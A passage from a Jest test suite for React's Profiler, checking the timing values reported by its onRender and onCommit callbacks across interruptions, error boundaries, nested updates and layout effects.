expect(callback).toHaveBeenCalledTimes(2);\n\n    const [mountCall, updateCall] = callback.mock.calls;\n\n    expect(mountCall[1]).toBe('mount');\n    expect(mountCall[2]).toBe(23); // actual time\n    expect(mountCall[3]).toBe(23); // base time\n    expect(mountCall[4]).toBe(5); // start time\n    expect(mountCall[5]).toBe(28); // commit time\n\n    expect(updateCall[1]).toBe('update');\n    expect(updateCall[2]).toBe(4); // actual time\n    expect(updateCall[3]).toBe(17); // base time\n    expect(updateCall[4]).toBe(58); // start time\n    expect(updateCall[5]).toBe(62); // commit time\n  });\n\n  it('includes time spent in render phase lifecycles', async () => {\n    class WithLifecycles extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        Scheduler.unstable_advanceTime(3);\n        return null;\n      }\n      shouldComponentUpdate() {\n        Scheduler.unstable_advanceTime(7);\n        return true;\n      }\n      render() {\n        Scheduler.unstable_advanceTime(5);\n        return null;\n      }\n    }\n\n    const callback = jest.fn();\n\n    Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <WithLifecycles />\n        </React.Profiler>,\n      );\n    });\n\n    Scheduler.unstable_advanceTime(15); // 13 -> 28\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <WithLifecycles />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    const [mountCall, updateCall] = callback.mock.calls;\n\n    expect(mountCall[1]).toBe('mount');\n    expect(mountCall[2]).toBe(8); // actual time\n    expect(mountCall[3]).toBe(8); // base time\n    expect(mountCall[4]).toBe(5); // start time\n    expect(mountCall[5]).toBe(13); // commit time\n\n    expect(updateCall[1]).toBe('update');\n    expect(updateCall[2]).toBe(15); // actual time\n    expect(updateCall[3]).toBe(15); // base time\n    expect(updateCall[4]).toBe(28); // start time\n    expect(updateCall[5]).toBe(43); // commit time\n  });\n\n  it('should clear nested-update flag when multiple cascading renders are scheduled', async () => {\n    jest.resetModules();\n    loadModules();\n\n    function Component() {\n      const [didMount, setDidMount] = React.useState(false);\n      const [didMountAndUpdate, setDidMountAndUpdate] = React.useState(false);\n\n      React.useLayoutEffect(() => {\n        setDidMount(true);\n      }, []);\n\n      React.useEffect(() => {\n        if (didMount && !didMountAndUpdate) {\n          setDidMountAndUpdate(true);\n        }\n      }, [didMount, didMountAndUpdate]);\n\n      Scheduler.log(`${didMount}:${didMountAndUpdate}`);\n\n      return null;\n    }\n\n    const onRender = jest.fn();\n\n    await act(() => {\n      ReactNoop.render(\n        <React.Profiler id=\"root\" onRender={onRender}>\n          <Component />\n        </React.Profiler>,\n      );\n    });\n    assertLog(['false:false', 'true:false', 'true:true']);\n\n    expect(onRender).toHaveBeenCalledTimes(3);\n    expect(onRender.mock.calls[0][1]).toBe('mount');\n    expect(onRender.mock.calls[1][1]).toBe('nested-update');\n    expect(onRender.mock.calls[2][1]).toBe('update');\n  });\n\n  it('is properly distinguish updates and nested-updates when there is more than sync remaining work', () => {\n    jest.resetModules();\n    loadModules();\n\n    function Component() {\n      const [didMount, setDidMount] = React.useState(false);\n\n      React.useLayoutEffect(() => {\n        setDidMount(true);\n      }, []);\n      Scheduler.log(didMount);\n      return didMount;\n    }\n\n    const onRender = jest.fn();\n\n    // Schedule low-priority work.\n    React.startTransition(() =>\n      ReactNoop.render(\n        <React.Profiler id=\"root\" onRender={onRender}>\n          <Component />\n        </React.Profiler>,\n      ),\n    );\n\n    // Flush sync work with a nested update\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(\n        <React.Profiler id=\"root\" onRender={onRender}>\n          <Component />\n        </React.Profiler>,\n      );\n    });\n    assertLog([false, true]);\n\n    // Verify that the nested update inside of the sync work is appropriately tagged.\n    expect(onRender).toHaveBeenCalledTimes(2);\n    expect(onRender.mock.calls[0][1]).toBe('mount');\n    expect(onRender.mock.calls[1][1]).toBe('nested-update');\n  });\n\n  describe('with regard to interruptions', () => {\n    it('should accumulate actual time after a scheduling interruptions', async () => {\n      const callback = jest.fn();\n\n      const Yield = ({renderTime}) => {\n        Scheduler.unstable_advanceTime(renderTime);\n        Scheduler.log('Yield:' + renderTime);\n        return null;\n      };\n\n      Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n      const root = ReactNoop.createRoot();\n      // Render partially, but run out of time before completing.\n      React.startTransition(() => {\n        root.render(\n          <React.Profiler id=\"test\" onRender={callback}>\n            <Yield renderTime={2} />\n            <Yield renderTime={3} />\n          </React.Profiler>,\n        );\n      });\n\n      await waitFor(['Yield:2']);\n      expect(callback).toHaveBeenCalledTimes(0);\n\n      // Resume render for remaining children.\n      await waitForAll(['Yield:3']);\n\n      // Verify that logged times include both durations above.\n      expect(callback).toHaveBeenCalledTimes(1);\n      const [call] = callback.mock.calls;\n      expect(call[2]).toBe(5); // actual time\n      expect(call[3]).toBe(5); // base time\n      expect(call[4]).toBe(5); // start time\n      expect(call[5]).toBe(10); // commit time\n    });\n\n    it('should not include time between frames', async () => {\n      const callback = jest.fn();\n\n      const Yield = ({renderTime}) => {\n        Scheduler.unstable_advanceTime(renderTime);\n        Scheduler.log('Yield:' + renderTime);\n        return null;\n      };\n\n      Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n      const root = ReactNoop.createRoot();\n      // Render partially, but don't finish.\n      // This partial render should take 5ms of simulated time.\n      React.startTransition(() => {\n        root.render(\n          <React.Profiler id=\"outer\" onRender={callback}>\n            <Yield renderTime={5} />\n            <Yield renderTime={10} />\n            <React.Profiler id=\"inner\" onRender={callback}>\n              <Yield renderTime={17} />\n            </React.Profiler>\n          </React.Profiler>,\n        );\n      });\n\n      await waitFor(['Yield:5']);\n      expect(callback).toHaveBeenCalledTimes(0);\n\n      // Simulate time moving forward while frame is paused.\n      Scheduler.unstable_advanceTime(50); // 10 -> 60\n\n      // Flush the remaining work,\n      // Which should take an additional 10ms of simulated time.\n      await waitForAll(['Yield:10', 'Yield:17']);\n      expect(callback).toHaveBeenCalledTimes(2);\n\n      const [innerCall, outerCall] = callback.mock.calls;\n\n      // Verify that the actual time includes all work times,\n      // But not the time that elapsed between frames.\n      expect(innerCall[0]).toBe('inner');\n      expect(innerCall[2]).toBe(17); // actual time\n      expect(innerCall[3]).toBe(17); // base time\n      expect(innerCall[4]).toBe(70); // start time\n      expect(innerCall[5]).toBe(87); // commit time\n      expect(outerCall[0]).toBe('outer');\n      expect(outerCall[2]).toBe(32); // actual time\n      expect(outerCall[3]).toBe(32); // base time\n      expect(outerCall[4]).toBe(5); // start time\n      expect(outerCall[5]).toBe(87); // commit time\n    });\n\n    it('should report the expected times when a high-pri update replaces a mount in-progress', async () => {\n      const callback = jest.fn();\n\n      const Yield = ({renderTime}) => {\n        Scheduler.unstable_advanceTime(renderTime);\n        Scheduler.log('Yield:' + renderTime);\n        return null;\n      };\n\n      Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n      const root = ReactNoop.createRoot();\n      // Render a partially update, but don't finish.\n      // This partial render should take 10ms of simulated time.\n      React.startTransition(() => {\n        root.render(\n          <React.Profiler id=\"test\" onRender={callback}>\n            <Yield renderTime={10} />\n            <Yield renderTime={20} />\n          </React.Profiler>,\n        );\n      });\n\n      await waitFor(['Yield:10']);\n      expect(callback).toHaveBeenCalledTimes(0);\n\n      // Simulate time moving forward while frame is paused.\n      Scheduler.unstable_advanceTime(100); // 15 -> 115\n\n      // Interrupt with higher priority work.\n      // The interrupted work simulates an additional 5ms of time.\n      ReactNoop.flushSync(() => {\n        root.render(\n          <React.Profiler id=\"test\" onRender={callback}>\n            <Yield renderTime={5} />\n          </React.Profiler>,\n        );\n      });\n      assertLog(['Yield:5']);\n\n      // The initial work was thrown away in this case,\n      // So the actual and base times should only include the final rendered tree times.\n      expect(callback).toHaveBeenCalledTimes(1);\n      const call = callback.mock.calls[0];\n      expect(call[2]).toBe(5); // actual time\n      expect(call[3]).toBe(5); // base time\n      expect(call[4]).toBe(115); // start time\n      expect(call[5]).toBe(120); // commit time\n\n      callback.mockReset();\n\n      // Verify no more unexpected callbacks from low priority work\n      await waitForAll([]);\n      expect(callback).toHaveBeenCalledTimes(0);\n    });\n\n    it('should report the expected times when a high-priority update replaces a low-priority update', async () => {\n      const callback = jest.fn();\n\n      const Yield = ({renderTime}) => {\n        Scheduler.unstable_advanceTime(renderTime);\n        Scheduler.log('Yield:' + renderTime);\n        return null;\n      };\n\n      Scheduler.unstable_advanceTime(5); // 0 -> 5\n      const root = ReactNoop.createRoot();\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <Yield renderTime={6} />\n          <Yield renderTime={15} />\n        </React.Profiler>,\n      );\n\n      // Render everything initially.\n      // This should take 21 seconds of actual and base time.\n      await waitForAll(['Yield:6', 'Yield:15']);\n      expect(callback).toHaveBeenCalledTimes(1);\n      let call = callback.mock.calls[0];\n      expect(call[2]).toBe(21); // actual time\n      expect(call[3]).toBe(21); // base time\n      expect(call[4]).toBe(5); // start time\n      expect(call[5]).toBe(26); // commit time\n\n      callback.mockReset();\n\n      Scheduler.unstable_advanceTime(30); // 26 -> 56\n\n      // Render a partially update, but don't finish.\n      // This partial render should take 3ms of simulated time.\n      React.startTransition(() => {\n        root.render(\n          <React.Profiler id=\"test\" onRender={callback}>\n            <Yield renderTime={3} />\n            <Yield renderTime={5} />\n            <Yield renderTime={9} />\n          </React.Profiler>,\n        );\n      });\n\n      await waitFor(['Yield:3']);\n      expect(callback).toHaveBeenCalledTimes(0);\n\n      // Simulate time moving forward while frame is paused.\n      Scheduler.unstable_advanceTime(100); // 59 -> 159\n\n      // Render another 5ms of simulated time.\n      await waitFor(['Yield:5']);\n      expect(callback).toHaveBeenCalledTimes(0);\n\n      // Simulate time moving forward while frame is paused.\n      Scheduler.unstable_advanceTime(100); // 164 -> 264\n\n      // Interrupt with higher priority work.\n      // The interrupted work simulates an additional 11ms of time.\n      ReactNoop.flushSync(() => {\n        root.render(\n          <React.Profiler id=\"test\" onRender={callback}>\n            <Yield renderTime={11} />\n          </React.Profiler>,\n        );\n      });\n      assertLog(['Yield:11']);\n\n      // The actual time should include only the most recent render,\n      // Because this lets us avoid a lot of commit phase reset complexity.\n      // The base time includes only the final rendered tree times.\n      expect(callback).toHaveBeenCalledTimes(1);\n      call = callback.mock.calls[0];\n      expect(call[2]).toBe(11); // actual time\n      expect(call[3]).toBe(11); // base time\n      expect(call[4]).toBe(264); // start time\n      expect(call[5]).toBe(275); // commit time\n\n      // Verify no more unexpected callbacks from low priority work\n      await waitForAll([]);\n      expect(callback).toHaveBeenCalledTimes(1);\n    });\n\n    it('should report the expected times when a high-priority update interrupts a low-priority update', async () => {\n      const callback = jest.fn();\n\n      const Yield = ({renderTime}) => {\n        Scheduler.unstable_advanceTime(renderTime);\n        Scheduler.log('Yield:' + renderTime);\n        return null;\n      };\n\n      let first;\n      class FirstComponent extends React.Component {\n        state = {renderTime: 1};\n        render() {\n          first = this;\n          Scheduler.unstable_advanceTime(this.state.renderTime);\n          Scheduler.log('FirstComponent:' + this.state.renderTime);\n          return <Yield renderTime={4} />;\n        }\n      }\n      let second;\n      class SecondComponent extends React.Component {\n        state = {renderTime: 2};\n        render() {\n          second = this;\n          Scheduler.unstable_advanceTime(this.state.renderTime);\n          Scheduler.log('SecondComponent:' + this.state.renderTime);\n          return <Yield renderTime={7} />;\n        }\n      }\n\n      Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n      const root = ReactNoop.createRoot();\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <FirstComponent />\n          <SecondComponent />\n        </React.Profiler>,\n      );\n\n      // Render everything initially.\n      // This simulates a total of 14ms of actual render time.\n      // The base render time is also 14ms for the initial render.\n      await waitForAll([\n        'FirstComponent:1',\n        'Yield:4',\n        'SecondComponent:2',\n        'Yield:7',\n      ]);\n      expect(callback).toHaveBeenCalledTimes(1);\n      let call = callback.mock.calls[0];\n      expect(call[2]).toBe(14); // actual time\n      expect(call[3]).toBe(14); // base time\n      expect(call[4]).toBe(5); // start time\n      expect(call[5]).toBe(19); // commit time\n\n      callback.mockClear();\n\n      Scheduler.unstable_advanceTime(100); // 19 -> 119\n\n      // Render a partially update, but don't finish.\n      // This partial render will take 10ms of actual render time.\n      React.startTransition(() => {\n        first.setState({renderTime: 10});\n      });\n\n      await waitFor(['FirstComponent:10']);\n      expect(callback).toHaveBeenCalledTimes(0);\n\n      // Simulate time moving forward while frame is paused.\n      Scheduler.unstable_advanceTime(100); // 129 -> 229\n\n      // Interrupt with higher priority work.\n      // This simulates a total of 37ms of actual render time.\n      ReactNoop.flushSync(() => second.setState({renderTime: 30}));\n      assertLog(['SecondComponent:30', 'Yield:7']);\n\n      // The actual time should include only the most recent render (37ms),\n      // Because this greatly simplifies the commit phase logic.\n      // The base time should include the more recent times for the SecondComponent subtree,\n      // As well as the original times for the FirstComponent subtree.\n      expect(callback).toHaveBeenCalledTimes(1);\n      call = callback.mock.calls[0];\n      expect(call[2]).toBe(37); // actual time\n      expect(call[3]).toBe(42); // base time\n      expect(call[4]).toBe(229); // start time\n      expect(call[5]).toBe(266); // commit time\n\n      callback.mockClear();\n\n      // Simulate time moving forward while frame is paused.\n      Scheduler.unstable_advanceTime(100); // 266 -> 366\n\n      // Resume the original low priority update, with rebased state.\n      // This simulates a total of 14ms of actual render time,\n      // And does not include the original (interrupted) 10ms.\n      // The tree contains 42ms of base render time at this point,\n      // Reflecting the most recent (longer) render durations.\n      // TODO: This actual time should decrease by 10ms once the scheduler supports resuming.\n      await waitForAll(['FirstComponent:10', 'Yield:4']);\n      expect(callback).toHaveBeenCalledTimes(1);\n      call = callback.mock.calls[0];\n      expect(call[2]).toBe(14); // actual time\n      expect(call[3]).toBe(51); // base time\n      expect(call[4]).toBe(366); // start time\n      expect(call[5]).toBe(380); // commit time\n    });\n\n    it('should accumulate actual time after an error handled by componentDidCatch()', async () => {\n      const callback = jest.fn();\n\n      const ThrowsError = ({unused}) => {\n        Scheduler.unstable_advanceTime(3);\n        throw Error('expected error');\n      };\n\n      class ErrorBoundary extends React.Component {\n        state = {error: null};\n        componentDidCatch(error) {\n          this.setState({error});\n        }\n        render() {\n          Scheduler.unstable_advanceTime(2);\n          return this.state.error === null ? (\n            this.props.children\n          ) : (\n            <AdvanceTime byAmount={20} />\n          );\n        }\n      }\n\n      Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(\n          <React.Profiler id=\"test\" onRender={callback}>\n            <ErrorBoundary>\n              <AdvanceTime byAmount={9} />\n              <ThrowsError />\n            </ErrorBoundary>\n          </React.Profiler>,\n        );\n      });\n\n      expect(callback).toHaveBeenCalledTimes(2);\n\n      // Callbacks bubble (reverse order).\n      const [mountCall, updateCall] = callback.mock.calls;\n\n      // The initial mount only includes the ErrorBoundary (which takes 2)\n      // But it spends time rendering all of the failed subtree also.\n      expect(mountCall[1]).toBe('mount');\n      // actual time includes: 2 (ErrorBoundary) + 9 (AdvanceTime) + 3 (ThrowsError)\n      // We don't count the time spent in replaying the failed unit of work (ThrowsError)\n      expect(mountCall[2]).toBe(14);\n      // base time includes: 2 (ErrorBoundary)\n      // Since the tree is empty for the initial commit\n      expect(mountCall[3]).toBe(2);\n\n      // start time: 5 initially + 14 of work\n      // Add an additional 3 (ThrowsError) if we replayed the failed work\n      expect(mountCall[4]).toBe(19);\n      // commit time: 19 initially + 14 of work\n      // Add an additional 6 (ThrowsError *2) if we replayed the failed work\n      expect(mountCall[5]).toBe(33);\n\n      // The update includes the ErrorBoundary and its fallback child\n      expect(updateCall[1]).toBe('nested-update');\n      // actual time includes: 2 (ErrorBoundary) + 20 (AdvanceTime)\n      expect(updateCall[2]).toBe(22);\n      // base time includes: 2 (ErrorBoundary) + 20 (AdvanceTime)\n      expect(updateCall[3]).toBe(22);\n      // start time\n      expect(updateCall[4]).toBe(33);\n      // commit time: 19 (startTime) + 2 (ErrorBoundary) + 20 (AdvanceTime)\n      // Add an additional 3 (ThrowsError) if we replayed the failed work\n      expect(updateCall[5]).toBe(55);\n    });\n\n    it('should accumulate actual time after an error handled by getDerivedStateFromError()', async () => {\n      const callback = jest.fn();\n\n      const ThrowsError = ({unused}) => {\n        Scheduler.unstable_advanceTime(10);\n        throw Error('expected error');\n      };\n\n      class ErrorBoundary extends React.Component {\n        state = {error: null};\n        static getDerivedStateFromError(error) {\n          return {error};\n        }\n        render() {\n          Scheduler.unstable_advanceTime(2);\n          return this.state.error === null ? (\n            this.props.children\n          ) : (\n            <AdvanceTime byAmount={20} />\n          );\n        }\n      }\n\n      Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n      await act(() => {\n        const root = ReactNoop.createRoot();\n        root.render(\n          <React.Profiler id=\"test\" onRender={callback}>\n            <ErrorBoundary>\n              <AdvanceTime byAmount={5} />\n              <ThrowsError />\n            </ErrorBoundary>\n          </React.Profiler>,\n        );\n      });\n\n      expect(callback).toHaveBeenCalledTimes(1);\n\n      // Callbacks bubble (reverse order).\n      const [mountCall] = callback.mock.calls;\n\n      // The initial mount includes the ErrorBoundary's error state,\n      // But it also spends actual time rendering UI that fails and isn't included.\n      expect(mountCall[1]).toBe('mount');\n      // actual time includes: 2 (ErrorBoundary) + 5 (AdvanceTime) + 10 (ThrowsError)\n      // Then the re-render: 2 (ErrorBoundary) + 20 (AdvanceTime)\n      // We don't count the time spent in replaying the failed unit of work (ThrowsError)\n      expect(mountCall[2]).toBe(39);\n      // base time includes: 2 (ErrorBoundary) + 20 (AdvanceTime)\n      expect(mountCall[3]).toBe(22);\n      // start time\n      expect(mountCall[4]).toBe(44);\n      // commit time\n      expect(mountCall[5]).toBe(83);\n    });\n\n    it('should reset the fiber stack correct after a \"complete\" phase error', async () => {\n      jest.resetModules();\n\n      loadModules({\n        useNoopRenderer: true,\n      });\n\n      // Simulate a renderer error during the \"complete\" phase.\n      // This mimics behavior like React Native's View/Text nesting validation.\n      ReactNoop.render(\n        <React.Profiler id=\"profiler\" onRender={jest.fn()}>\n          <errorInCompletePhase>hi</errorInCompletePhase>\n        </React.Profiler>,\n      );\n      await waitForThrow('Error in host config.');\n\n      // A similar case we've seen caused by an invariant in ReactDOM.\n      // It didn't reproduce without a host component inside.\n      ReactNoop.render(\n        <React.Profiler id=\"profiler\" onRender={jest.fn()}>\n          <errorInCompletePhase>\n            <span>hi</span>\n          </errorInCompletePhase>\n        </React.Profiler>,\n      );\n      await waitForThrow('Error in host config.');\n\n      // So long as the profiler timer's fiber stack is reset correctly,\n      // Subsequent renders should not error.\n      ReactNoop.render(\n        <React.Profiler id=\"profiler\" onRender={jest.fn()}>\n          <span>hi</span>\n        </React.Profiler>,\n      );\n      await waitForAll([]);\n    });\n  });\n\n  it('reflects the most recently rendered id value', async () => {\n    const callback = jest.fn();\n\n    Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"one\" onRender={callback}>\n          <AdvanceTime byAmount={2} />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    Scheduler.unstable_advanceTime(20); // 7 -> 27\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"two\" onRender={callback}>\n          <AdvanceTime byAmount={1} />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    const [mountCall, updateCall] = callback.mock.calls;\n\n    expect(mountCall[0]).toBe('one');\n    expect(mountCall[1]).toBe('mount');\n    expect(mountCall[2]).toBe(2); // actual time\n    expect(mountCall[3]).toBe(2); // base time\n    expect(mountCall[4]).toBe(5); // start time\n\n    expect(updateCall[0]).toBe('two');\n    expect(updateCall[1]).toBe('update');\n    expect(updateCall[2]).toBe(1); // actual time\n    expect(updateCall[3]).toBe(1); // base time\n    expect(updateCall[4]).toBe(27); // start time\n  });\n\n  it('should not be called until after mutations', async () => {\n    let classComponentMounted = false;\n    const callback = jest.fn(\n      (id, phase, actualDuration, baseDuration, startTime, commitTime) => {\n        // Don't call this hook until after mutations\n        expect(classComponentMounted).toBe(true);\n        // But the commit time should reflect pre-mutation\n        expect(commitTime).toBe(2);\n      },\n    );\n\n    class ClassComponent extends React.Component {\n      componentDidMount() {\n        Scheduler.unstable_advanceTime(5);\n        classComponentMounted = true;\n      }\n      render() {\n        Scheduler.unstable_advanceTime(2);\n        return null;\n      }\n    }\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <ClassComponent />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n  });\n});\n\ndescribe(`onCommit`, () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    loadModules();\n  });\n\n  it('should report time spent in layout effects and commit lifecycles', async () => {\n    const callback = jest.fn();\n\n    const ComponentWithEffects = () => {\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(10);\n        return () => {\n          Scheduler.unstable_advanceTime(100);\n        };\n      }, []);\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(1000);\n        return () => {\n          Scheduler.unstable_advanceTime(10000);\n        };\n      });\n      React.useEffect(() => {\n        // This passive effect is here to verify that its time isn't reported.\n        Scheduler.unstable_advanceTime(5);\n        return () => {\n          Scheduler.unstable_advanceTime(7);\n        };\n      });\n      return null;\n    };\n\n    class ComponentWithCommitHooks extends React.Component {\n      componentDidMount() {\n        Scheduler.unstable_advanceTime(100000);\n      }\n      componentDidUpdate() {\n        Scheduler.unstable_advanceTime(1000000);\n      }\n      render() {\n        return null;\n      }\n    }\n\n    Scheduler.unstable_advanceTime(1);\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"mount-test\" onCommit={callback}>\n          <ComponentWithEffects />\n          <ComponentWithCommitHooks />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('mount-test');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(101010); // durations\n    expect(call[3]).toBe(1); // commit start time (before mutations or effects)\n\n    Scheduler.unstable_advanceTime(1);\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"update-test\" onCommit={callback}>\n          <ComponentWithEffects />\n          <ComponentWithCommitHooks />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    call = callback.mock.calls[1];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('update-test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(1011000); // durations\n    expect(call[3]).toBe(101017); // commit start time (before mutations or effects)\n\n    Scheduler.unstable_advanceTime(1);\n\n    await act(() => {\n      root.render(<React.Profiler id=\"unmount-test\" onCommit={callback} />);\n    });\n\n    expect(callback).toHaveBeenCalledTimes(3);\n\n    call = callback.mock.calls[2];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('unmount-test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(10100); // durations\n    expect(call[3]).toBe(1112030); // commit start time (before mutations or effects)\n  });\n\n  it('should report time spent in layout effects and commit lifecycles with cascading renders', async () => {\n    const callback = jest.fn();\n\n    const ComponentWithEffects = ({shouldCascade}) => {\n      const [didCascade, setDidCascade] = React.useState(false);\n      Scheduler.unstable_advanceTime(100000000);\n      React.useLayoutEffect(() => {\n        if (shouldCascade && !didCascade) {\n          setDidCascade(true);\n        }\n        Scheduler.unstable_advanceTime(didCascade ? 30 : 10);\n        return () => {\n          Scheduler.unstable_advanceTime(100);\n        };\n      }, [didCascade, shouldCascade]);\n      return null;\n    };\n\n    class ComponentWithCommitHooks extends React.Component {\n      state = {\n        didCascade: false,\n      };\n      componentDidMount() {\n        Scheduler.unstable_advanceTime(1000);\n      }\n      componentDidUpdate() {\n        Scheduler.unstable_advanceTime(10000);\n        if (this.props.shouldCascade && !this.state.didCascade) {\n          this.setState({didCascade: true});\n        }\n      }\n      render() {\n        Scheduler.unstable_advanceTime(1000000000);\n        return null;\n      }\n    }\n\n    Scheduler.unstable_advanceTime(1);\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"mount-test\" onCommit={callback}>\n          <ComponentWithEffects shouldCascade={true} />\n          <ComponentWithCommitHooks />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('mount-test');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(1010); // durations\n    expect(call[3]).toBe(1100000001); // commit start time (before mutations or effects)\n\n    call = callback.mock.calls[1];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('mount-test');\n    expect(call[1]).toBe('nested-update');\n    expect(call[2]).toBe(130); // durations\n    expect(call[3]).toBe(1200001011); // commit start time (before mutations or effects)\n\n    Scheduler.unstable_advanceTime(1);\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"update-test\" onCommit={callback}>\n          <ComponentWithEffects />\n          <ComponentWithCommitHooks shouldCascade={true} />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(4);\n\n    call = callback.mock.calls[2];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('update-test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(10130); // durations\n    expect(call[3]).toBe(2300001142); // commit start time (before mutations or effects)\n\n    call = callback.mock.calls[3];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('update-test');\n    expect(call[1]).toBe('nested-update');\n    expect(call[2]).toBe(10000); // durations\n    expect(call[3]).toBe(3300011272); // commit start time (before mutations or effects)\n  });\n\n  it('should include time spent in ref callbacks', async () => {\n    const callback = jest.fn();\n\n    const refSetter = ref => {\n      if (ref !== null) {\n        Scheduler.unstable_advanceTime(10);\n      } else {\n        Scheduler.unstable_advanceTime(100);\n      }\n    };\n\n    class ClassComponent extends React.Component {\n      render() {\n        return null;\n      }\n    }\n\n    const Component = () => {\n      Scheduler.unstable_advanceTime(1000);\n      return <ClassComponent ref={refSetter} />;\n    };\n\n    Scheduler.unstable_advanceTime(1);\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root\" onCommit={callback}>\n          <Component />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(10); // durations\n    expect(call[3]).toBe(1001); // commit start time (before mutations or effects)\n\n    callback.mockClear();\n\n    await act(() => {\n      root.render(<React.Profiler id=\"root\" onCommit={callback} />);\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(100); // durations\n    expect(call[3]).toBe(1011); // commit start time (before mutations or effects)\n  });\n\n  it('should bubble time spent in layout effects to higher profilers', async () => {\n    const callback = jest.fn();\n\n    const ComponentWithEffects = ({cleanupDuration, duration, setCountRef}) => {\n      const setCount = React.useState(0)[1];\n      if (setCountRef != null) {\n        setCountRef.current = setCount;\n      }\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(duration);\n        return () => {\n          Scheduler.unstable_advanceTime(cleanupDuration);\n        };\n      });\n      Scheduler.unstable_advanceTime(1);\n      return null;\n    };\n\n    const setCountRef = React.createRef(null);\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root-mount\" onCommit={callback}>\n          <React.Profiler id=\"a\">\n            <ComponentWithEffects\n              duration={10}\n              cleanupDuration={100}\n              setCountRef={setCountRef}\n            />\n          </React.Profiler>\n          <React.Profiler id=\"b\">\n            <ComponentWithEffects duration={1000} cleanupDuration={10000} />\n          </React.Profiler>\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root-mount');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(1010); // durations\n    expect(call[3]).toBe(2); // commit start time (before mutations or effects)\n\n    await act(() => setCountRef.current(count => count + 1));\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    call = callback.mock.calls[1];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root-mount');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(110); // durations\n    expect(call[3]).toBe(1013); // commit start time (before mutations or effects)\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"root-update\" onCommit={callback}>\n          <React.Profiler id=\"b\">\n            <ComponentWithEffects duration={1000} cleanupDuration={10000} />\n          </React.Profiler>\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(3);\n\n    call = callback.mock.calls[2];\n\n    expect(call).toHaveLength(4);\n    expect(call[0]).toBe('root-update');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(11100); // durations\n    expect(call[3]).toBe(1124); // commit start time (before mutations or effects)\n  });\n\n  it('should properly report time in layout effects even when there are errors', async () => {\n    const callback = jest.fn();\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static 